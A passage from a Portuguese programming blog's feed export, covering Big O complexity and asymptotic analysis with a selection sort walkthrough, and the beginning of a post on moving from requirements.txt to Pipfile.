        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Em um piscar de olhos, você estará rabiscando algoritmos nas janelas da sua casa (blogossus.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Pode parecer confuso não utilizar &lt;code class=&quot;language-text&quot;&gt;O(3)&lt;/code&gt;, mas seguindo a definição matemática
apresentada anteriormente, quando eu assumo que meu algoritmo tem
complexidade &lt;code class=&quot;language-text&quot;&gt;O(1)&lt;/code&gt;, estou dizendo que o seu limite assintótico superior é menor
ou igual a &lt;code class=&quot;language-text&quot;&gt;k * f(n)&lt;/code&gt;. Se considerarmos o &lt;code class=&quot;language-text&quot;&gt;k&lt;/code&gt; como constante representando a
quantidade de atribuições do nosso algoritmo &lt;code class=&quot;language-text&quot;&gt;(3)&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;f(n)&lt;/code&gt; como o
&lt;em&gt;running time&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;(1)&lt;/code&gt;, temos como &lt;em&gt;upper bound&lt;/em&gt; o valor &lt;code class=&quot;language-text&quot;&gt;3&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Em outras palavras: Se o tempo de execução do seu algoritmo é constante, a
maneira ideal de representá-lo é através de &lt;code class=&quot;language-text&quot;&gt;O(1)&lt;/code&gt;.&lt;/p&gt;
&lt;h3&gt;Complexidade linear: O(n)&lt;/h3&gt;
&lt;p&gt;Quando a entrada do algoritmo é variável em tamanho, temos um comportamento
diferente:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token keyword&quot;&gt;def&lt;/span&gt; &lt;span class=&quot;token function&quot;&gt;soma&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;array&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
    total &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;token number&quot;&gt;0&lt;/span&gt;
    &lt;span class=&quot;token keyword&quot;&gt;for&lt;/span&gt; num &lt;span class=&quot;token keyword&quot;&gt;in&lt;/span&gt; array&lt;span class=&quot;token punctuation&quot;&gt;:&lt;/span&gt;
        total &lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt; total &lt;span class=&quot;token operator&quot;&gt;+&lt;/span&gt; num&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Geralmente quando temos algum loop, e ele está ligado ao &lt;em&gt;input&lt;/em&gt;, dificilmente
chegamos a um algoritmo de complexidade constante. No caso acima, podemos contar
os passos da seguinte forma:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;n = tamanho(array)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;total = 0&lt;/code&gt;: 1 operação&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;atribuição de valor a num&lt;/code&gt;: n operações&lt;/li&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;total = total + num&lt;/code&gt;: n * 2 operações&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Para cada elemento do &lt;em&gt;array&lt;/em&gt;, executaremos uma soma &lt;code class=&quot;language-text&quot;&gt;(total + num)&lt;/code&gt; e uma
atribuição &lt;code class=&quot;language-text&quot;&gt;(total = &amp;lt;resultado&gt;)&lt;/code&gt;. Chegamos à conclusão que
&lt;code class=&quot;language-text&quot;&gt;complexidade = 1 + (n * 2)&lt;/code&gt;. Mas como chegamos a &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt;?&lt;/p&gt;
&lt;p&gt;Deixando a parte matemática de lado, quando trata-se de análise assintótica,
estamos mais interessados no que realmente interfere na performance do
algoritmo. Ou seja, os valores constantes &lt;code class=&quot;language-text&quot;&gt;(1 e 2)&lt;/code&gt; nessa análise são detalhes
se comparados ao impacto que &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt; causa ao tempo de execução. Portanto, uma das
maneiras de encarar a mensuração do &lt;em&gt;Big O&lt;/em&gt; é simplesmente ignorando as
constantes e focando no que é dinâmico, nos levando a &lt;code class=&quot;language-text&quot;&gt;complexidade = n&lt;/code&gt; e em
consequência ao &lt;code class=&quot;language-text&quot;&gt;O(n)&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;E como num passe de mágica, depois de certa intimidade com o &lt;em&gt;Big O Notation&lt;/em&gt;,
você passa a assumir a complexidade de um algoritmo com uma breve “olhadela”.
Ao ver um &lt;em&gt;loop&lt;/em&gt; assume que é &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt;, ao ver &lt;em&gt;loop&lt;/em&gt; dentro de &lt;em&gt;loop&lt;/em&gt;, que é &lt;code class=&quot;language-text&quot;&gt;n²&lt;/code&gt;,
e assim por diante…&lt;/p&gt;
&lt;p&gt;Nos próximos &lt;em&gt;posts&lt;/em&gt; vamos explorar algoritmos de diferentes complexidades,
entrando em detalhes para entender os seus tempos de execução e alternativas
otimizadas.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;p&gt;Esse &lt;em&gt;post&lt;/em&gt; foi originalmente escrito para o &lt;a href=&quot;https://www.profissionaisti.com.br/2017/10/analise-de-algoritmos-como-medir/&quot; title=&quot;Leia mais no Profissionais TI&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.khanacademy.org/computing/computer-science/algorithms/asymptotic-notation/a/big-o-notation&quot;&gt;Khan Academy: Notação Big-O&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://stackoverflow.com/questions/3255/big-o-how-do-you-calculate-approximate-it&quot;&gt;Stackoverflow: Big O, how do you calculate/approximate it?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.stackoverflow.com/questions/33319/o-que-%C3%A9-a-complexidade-de-um-algoritmo&quot;&gt;Stackoverflow: O que é complexidade de um algoritmo?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.udemy.com/complexity-theory-basics/&quot;&gt;Udemy: Complexity Theory Basics&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Análise assintótica]]></title><description><![CDATA[Devo confessar que durante a minha graduação, nunca prestei muita atenção na
parte mais “teórica” da computação. O que eu queria era sentar…]]></description><link>https://klauslaube.com.br/2018/11/09/analise-assintotica.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/11/09/analise-assintotica.html</guid><pubDate>Fri, 09 Nov 2018 16:34:00 GMT</pubDate><content:encoded>&lt;p&gt;Devo confessar que durante a minha graduação, nunca prestei muita atenção na
parte mais “teórica” da computação. O que eu queria era sentar e “codar”,
sem realmente me preocupar com algoritmos, estruturas de dados, ou com os
impactos que a minha solução ocasionaria em um determinado ambiente.&lt;/p&gt;
&lt;p&gt;Com a idade vem a experiência, e com a experiência vem a necessidade de
estressar diferentes pontos de vista antes de adotar solução X ou Y. Foi
a partir dessa necessidade que fui obrigado a revisitar alguns conceitos
básicos da Ciência da Computação, e fatalmente me senti motivado a compilar
esse conhecimento em uma série de artigos.&lt;/p&gt;
&lt;p&gt;Se você, assim como eu, deu aquela dormida nas aulas de Teoria da Complexidade
Computacional, junte-se a mim e vamos relembrar esses conceitos juntos.&lt;/p&gt;
&lt;h2&gt;Algoritmos e tempos de execução&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;em&gt;Wikipedia&lt;/em&gt;, um &lt;a href=&quot;https://pt.wikipedia.org/wiki/Algoritmo&quot; title=&quot;Leia mais sobre no Wikipedia&quot;&gt;Algoritmo&lt;/a&gt; é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(…) uma sequência finita de instruções bem definidas e não ambíguas,
cada uma das quais devendo ser executadas mecânica ou eletronicamente
em um intervalo de tempo finito e com uma quantidade de esforço finita.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;A sua aplicação pode ser composta por uma porção de algoritmos, cada um
destinado a um fim muito específico. Por exemplo, você pode ter um algoritmo
responsável por encontrar todos os pedidos vendidos no último mês, que contenham
um determinado produto. Com o advento do Big Data, inúmeros algoritmos são
postos em prática para mineração e análise de dados, então, mesmo que exista
uma aplicação ou serviço resolvendo esses problemas para você, acredite...
os algoritmos estarão lá.&lt;/p&gt;
&lt;p&gt;Um determinado algoritmo pode ter tempos de execução relativamente diferentes
de acordo com o ambiente no qual ele esteja rodando. Se for num computador
&lt;em&gt;Core i7&lt;/em&gt; e &lt;em&gt;16GB&lt;/em&gt; de &lt;em&gt;RAM&lt;/em&gt;, é possível assumirmos que ele rodará consideravelmente
melhor do que se estivesse operando em um &lt;em&gt;Raspberry Pi&lt;/em&gt;, por exemplo. Ainda há um
segundo cenário onde, talvez você tenha escrito o algoritmo perfeito em
&lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt; ou &lt;em&gt;Ruby&lt;/em&gt;, mas ele corre o risco de
executar de forma mais lenta que um algoritmo em &lt;em&gt;Assembly&lt;/em&gt; ou &lt;em&gt;C&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Partindo da premissa que um bom algoritmo é um conjunto de operações que resolvem
um problema em tempo e esforço atrativos, como podemos classificar se um algoritmo
é “rápido” ou não?&lt;/p&gt;
&lt;p&gt;É aí que entra a análise assintótica.&lt;/p&gt;
&lt;h2&gt;A Análise Assintótica&lt;/h2&gt;
&lt;p&gt;Segundo o &lt;em&gt;Wikibooks&lt;/em&gt;, a &lt;a href=&quot;https://en.wikibooks.org/wiki/Data_Structures/Asymptotic_Notation&quot; title=&quot;Leia mais sobre no Wikibooks&quot;&gt;análise assintótica&lt;/a&gt; é:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;(…) a way of expressing the main component of the cost of an algorithm,
using idealized (not comparable) units of computational work.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em termos mais práticos, é uma forma de julgarmos se o nosso algoritmo é
eficiente, independente dos “recursos que o cercam” (como velocidade de
processamento, quantidade de memória, latência de rede, etc).&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;/541be7c32edf6206dda051976fd420f3/matrix-view.gif&quot; alt=&quot;&amp;#x22;Visão de código fonte do filme The Matrix&amp;#x22;&quot; title=&quot;Análise assintótica é ver o algoritmo além do código, como o Neo em The Matrix (scifi.stackexchange.com)&quot;&gt;&lt;/p&gt;
&lt;p&gt;Removendo todas as variáveis que podem influenciar no tempo de execução,
focamos nossas atenções em como o algoritmo está escrito, em qual é a sua
entrada, e se “ele por si” é a maneira mais eficiente para a resolução de
um determinado problema.&lt;/p&gt;
&lt;p&gt;Vale reforçar que a entrada é um fator de extrema importância no que tange
a análise assintótica. A análise é “input bound”, ou seja, a entrada
influenciará diretamente no resultado do estudo. Por exemplo, quando
ordenamos um vetor de tamanho &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt;, utilizando o algoritmo &lt;em&gt;Selection Sort&lt;/em&gt;,
teremos um tempo de execução de &lt;code class=&quot;language-text&quot;&gt;n²&lt;/code&gt; (já que o algoritmo pega um número,
e compara com os demais números no vetor, repetindo essa operação até chegar
ao fim do dado estruturado).&lt;/p&gt;
&lt;p&gt;Ao fim da análise, podemos chegar a 2 conclusões diferentes: Melhor cenário
e pior cenário.&lt;/p&gt;
&lt;h2&gt;Big O, Big Omega e Big Theta&lt;/h2&gt;
&lt;p&gt;Quem trabalha com desenvolvimento (ou até mesmo com computação num geral),
já deve ter ouvido falar sobre o famigerado &lt;em&gt;Big O Notation&lt;/em&gt;. Ele é uma notação
assintótica muito famosa na análise de tempos de execução de algoritmos. O que
pode ser uma surpresa é que ele não é a única notação que temos disponível:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;O(n)&lt;/strong&gt;: Expressa o limite superior do tempo de execução de um algoritmo (pior cenário);&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Ω(n)&lt;/strong&gt;: Expressa o limite inferior do tempo de execução de um algoritmo (melhor cenário);&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Θ(n)&lt;/strong&gt;: Expressa limite superior e inferior do tempo de execução de um algoritmo (pior e melhor cenário).&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Além da expressão linear, temos outras notações que descrevem diferentes tempos
de execução:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;O(1)&lt;/strong&gt;: Constante&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O(log n)&lt;/strong&gt;: Logarítmica&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O(n)&lt;/strong&gt;: Linear&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O(n log n)&lt;/strong&gt;: “Linearithmic” (maior que linear, menor que quadrática)&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O(n²)&lt;/strong&gt;: Quadrática&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;O(n³)&lt;/strong&gt;: Cúbica&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;n&lt;sup&gt;O(1)&lt;/sup&gt;&lt;/strong&gt;: Polinomial&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2&lt;sup&gt;O(n)&lt;/sup&gt;&lt;/strong&gt;: Exponencial&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;De maneira simplista, &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt; pode ser considerado como o número de operações que o
algoritmo leva para chegar ao seu final. &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt; está intimamente ligado com a entrada
do seu algoritmo, onde quanto maior for o seu número, maior será o seu tempo de
execução.&lt;/p&gt;
&lt;p&gt;E como fazemos para contar o número de operações realizadas por um algoritmo?&lt;/p&gt;
&lt;h2&gt;Um pouquinho de prática&lt;/h2&gt;
&lt;p&gt;Voltando a citar o &lt;em&gt;Selection Sort&lt;/em&gt;, que trata-se de um “greedy algorithm” para
ordenação de números em um vetor, temos a seguinte sequencia de operações:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;for i from 1 to n-1 {
   Encontre um elemento menor que a i-ésima posição, entre as n entradas.
   Troque o elemento encontrado com a i-ésima entrada.
}&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Fazendo um pequeno &lt;a href=&quot;http://pt.slideshare.net/henriquecarmona/aula-4-teste-de-mesa&quot; title=&quot;Veja mais no Slideshare&quot;&gt;teste de mesa&lt;/a&gt;,
com o vetor (9, 2, 5, 7, 4, 8), temos o seguinte conjunto de procedimentos:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[9, 2, 5, 7, 4, 8]&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;i=1&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Encontre o menor número entre posições 1 e 6;&lt;/li&gt;
&lt;li&gt;Troque &lt;code class=&quot;language-text&quot;&gt;array[i]&lt;/code&gt; com &lt;code class=&quot;language-text&quot;&gt;array[2]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[2, 9, 5, 7, 4, 8]&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;i=2&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Encontre o menor número entre posições 2 e 6;&lt;/li&gt;
&lt;li&gt;Troque &lt;code class=&quot;language-text&quot;&gt;array[i]&lt;/code&gt; com &lt;code class=&quot;language-text&quot;&gt;array[5]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[2, 4, 5, 7, 9, 8]&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;i=3&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Encontre o menor número entre posições 3 e 6;&lt;/li&gt;
&lt;li&gt;Troque &lt;code class=&quot;language-text&quot;&gt;array[i]&lt;/code&gt; com &lt;code class=&quot;language-text&quot;&gt;array[3]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[2, 4, 5, 7, 9, 8]&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;i=4&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Encontre o menor número entre posições 4 e 6;&lt;/li&gt;
&lt;li&gt;Troque &lt;code class=&quot;language-text&quot;&gt;array[i]&lt;/code&gt; com &lt;code class=&quot;language-text&quot;&gt;array[4]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[2, 4, 5, 7, 9, 8]&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;i=5&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Encontre o menor número entre posições 5 e 6;&lt;/li&gt;
&lt;li&gt;Troque &lt;code class=&quot;language-text&quot;&gt;array[i]&lt;/code&gt; com &lt;code class=&quot;language-text&quot;&gt;array[5]&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;code class=&quot;language-text&quot;&gt;[2, 4, 5, 7, 8, 9]&lt;/code&gt;:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code class=&quot;language-text&quot;&gt;i=6&lt;/code&gt;;&lt;/li&gt;
&lt;li&gt;Fim do laço.&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;Podemos separar a análise em 3 grupos:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Tempo de execução para encontrar o menor elemento&lt;/li&gt;
&lt;li&gt;Tempo de execução para trocar de elemento&lt;/li&gt;
&lt;li&gt;Tempo de execução do laço&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Embora seja possível fazer uma análise detalhada, levando em consideração
o número de passos dentro de uma operação de swap de valores, e a aritmética
envolvendo as &lt;code class=&quot;language-text&quot;&gt;n-i-1&lt;/code&gt; chamadas que ocorrem dentro da função
“Encontre o menor número entre posições”, para fins didáticos vamos adotar
uma abordagem superficial.&lt;/p&gt;
&lt;p&gt;Selecionar o menor elemento no &lt;em&gt;array&lt;/em&gt; e fazer o &lt;em&gt;swap&lt;/em&gt; para a primeira
posição requer passar por todos os &lt;code class=&quot;language-text&quot;&gt;n-1&lt;/code&gt; elementos. Encontrar o próximo
menor elemento requer analisar os &lt;code class=&quot;language-text&quot;&gt;n-1&lt;/code&gt; elementos restantes. Com dois
for aninhados, executando em ordem &lt;code class=&quot;language-text&quot;&gt;n&lt;/code&gt;, já podemos esperar uma execução
em &lt;code class=&quot;language-text&quot;&gt;O(n²)&lt;/code&gt;. É possível usar a &lt;a href=&quot;https://en.wikipedia.org/wiki/Arithmetic_progression&quot; title=&quot;Leia mais sobre&quot;&gt;progressão aritmética&lt;/a&gt;
para comprovar essa hipótese:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;(n − 1) + (n − 2) + ... + 2 + 1 = n(n - 1) / 2 ∈ Θ(n²)&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Se revisarmos o algoritmo apresentado, é possível reparar que o
&lt;em&gt;Selection Sort&lt;/em&gt; tem no seu melhor e pior cenário o tempo de execução de
&lt;code class=&quot;language-text&quot;&gt;n²&lt;/code&gt;, logo, podendo ser classificado como &lt;code class=&quot;language-text&quot;&gt;Θ(n²)&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Nos próximos posts vamos nos aprofundar um pouco mais nos detalhes dessa
análise, e passar por alguns algoritmos úteis e muito comuns na nossa rotina.&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;p&gt;Esse &lt;em&gt;post&lt;/em&gt; foi originalmente escrito para o &lt;a href=&quot;https://www.profissionaisti.com.br/2016/10/analise-de-algoritmos-analise-assintotica/&quot; title=&quot;Análise de algoritmos: Análise Assintótica&quot;&gt;&lt;em&gt;Profissionais TI&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.khanacademy.org/computing/computer-science/algorithms/sorting-algorithms/a/analysis-of-selection-sort&quot;&gt;Análise do Selection Sort – Khan Academy&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://justin.abrah.ms/computer-science/how-to-calculate-big-o.html&quot;&gt;Justin Abrahms – Big-O is easy to calculate, if you know how&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://discrete.gr/complexity/&quot;&gt;National Technical University of Athens – A gentle introduction to Algorithm Complexity Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.perlmonks.org/?node_id=573138&quot;&gt;Perl Monks – Big-O Notation: What’s is it good for?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.tutorialspoint.com/data_structures_algorithms/asymptotic_analysis.htm&quot;&gt;Tutorials Point – Data Structures Asymptotic Analysis&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://en.wikibooks.org/wiki/Data_Structures/Asymptotic_Notation&quot;&gt;Wikibooks – Data Structures/Asymptotic Notation&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://pt.wikipedia.org/wiki/Algoritmo&quot;&gt;Wikipedia – Algoritmo&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Tchau, requirements. Olá, Pipfile!]]></title><description><![CDATA[Admito que no começo fui cético em relação ao Pipfile. Pode ser a idade, mas questionei a real necessidade do mesmo. Para mim era muito…]]></description><link>https://klauslaube.com.br/2018/06/11/tchau-requirements-ola-pipfile.html</link><guid isPermaLink="false">https://klauslaube.com.br/2018/06/11/tchau-requirements-ola-pipfile.html</guid><pubDate>Mon, 11 Jun 2018 16:40:00 GMT</pubDate><content:encoded>&lt;p&gt;Admito que no começo fui cético em relação ao &lt;a href=&quot;https://github.com/pypa/pipfile&quot; title=&quot;The replacement for requirements.txt&quot;&gt;&lt;em&gt;Pipfile&lt;/em&gt;&lt;/a&gt;. Pode ser a idade, mas questionei a real necessidade do mesmo. Para mim era muito óbvio! Eu já tinha o &lt;a href=&quot;/tag/pip.html&quot; title=&quot;Leia mais sobre pip&quot;&gt;&lt;em&gt;pip&lt;/em&gt;&lt;/a&gt;, o &lt;a href=&quot;/tag/virtualenv.html&quot; title=&quot;Leia mais sobre virtualenv&quot;&gt;&lt;em&gt;virtualenv&lt;/em&gt;&lt;/a&gt; e até mesmo o &lt;a href=&quot;%7Btag%7D&quot; title=&quot;Leia mais sobre Pyenv&quot;&gt;&lt;em&gt;pyenv&lt;/em&gt;&lt;/a&gt;. Hoje, após ler alguns artigos e debater com alguns colegas, fico até envergonhado de não ter visto o potencial da ferramenta no seu primeiro momento.&lt;/p&gt;
&lt;p&gt;Se você está na dúvida, assim como eu estive, vem comigo que te mostro as principais vantagens do &lt;em&gt;Pipfile&lt;/em&gt; (e do &lt;em&gt;Pipenv&lt;/em&gt;).&lt;/p&gt;
&lt;h2&gt;O que há de errado com o requirements.txt?&lt;/h2&gt;
&lt;p&gt;Esse foi o meu &quot;turning point&quot; em relação ao &lt;em&gt;Pipfile&lt;/em&gt;. E foi o &lt;a href=&quot;https://twitter.com/rcmachado&quot; title=&quot;Perfil no Twitter&quot;&gt;&lt;em&gt;@rcmachado&lt;/em&gt;&lt;/a&gt; quem respondeu essa pergunta:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;O build não é determinístico.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Vamos supor que estamos desenvolvendo um projeto em &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;. Instalamos via &lt;code class=&quot;language-text&quot;&gt;pip install Django&lt;/code&gt;, e jogamos a dependência no &lt;code class=&quot;language-text&quot;&gt;requirements.txt&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements.txt

Django&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Como você garante que a mesma versão do &lt;em&gt;Django&lt;/em&gt; está instalada nos diferentes ambientes do projeto (dev, qa, staging, production, etc)? Da forma acima, você não garante. O &lt;code class=&quot;language-text&quot;&gt;pip&lt;/code&gt; instalará a última versão do pacote disponível no &lt;a href=&quot;https://pypi.org/&quot; title=&quot;The Python Package Index&quot;&gt;&lt;em&gt;PyPI&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Para minimizar esse problema, podemos &quot;pinar&quot; a versão do &lt;em&gt;Django&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;# requirements.txt

Django==2.0.6&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Agora garantimos a versão do &lt;em&gt;framework&lt;/em&gt; em todos os ambientes do projeto. Sabemos que o &lt;em&gt;Django&lt;/em&gt; tem uma dependência, o &lt;a href=&quot;http://pytz.sourceforge.net/&quot; title=&quot;World Timezone Definitions for Python&quot;&gt;&lt;em&gt;pytz&lt;/em&gt;&lt;/a&gt;, o que acontece com ela?&lt;/p&gt;
&lt;p&gt;Bem... se o &lt;em&gt;framework&lt;/em&gt; estabelecer exatamente qual versão da dependência ele utiliza, não será um problema. Mas &lt;a href=&quot;https://github.com/django/django/blob/master/setup.py#L86&quot;&gt;nem sempre isso acontece&lt;/a&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;python&quot;&gt;&lt;pre class=&quot;language-python&quot;&gt;&lt;code class=&quot;language-python&quot;&gt;&lt;span class=&quot;token comment&quot;&gt;# django/setup.py&lt;/span&gt;

&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

setup&lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
    install_requires&lt;span class=&quot;token operator&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;token string&quot;&gt;&apos;pytz&apos;&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;,&lt;/span&gt;
    &lt;span class=&quot;token punctuation&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;token punctuation&quot;&gt;)&lt;/span&gt;

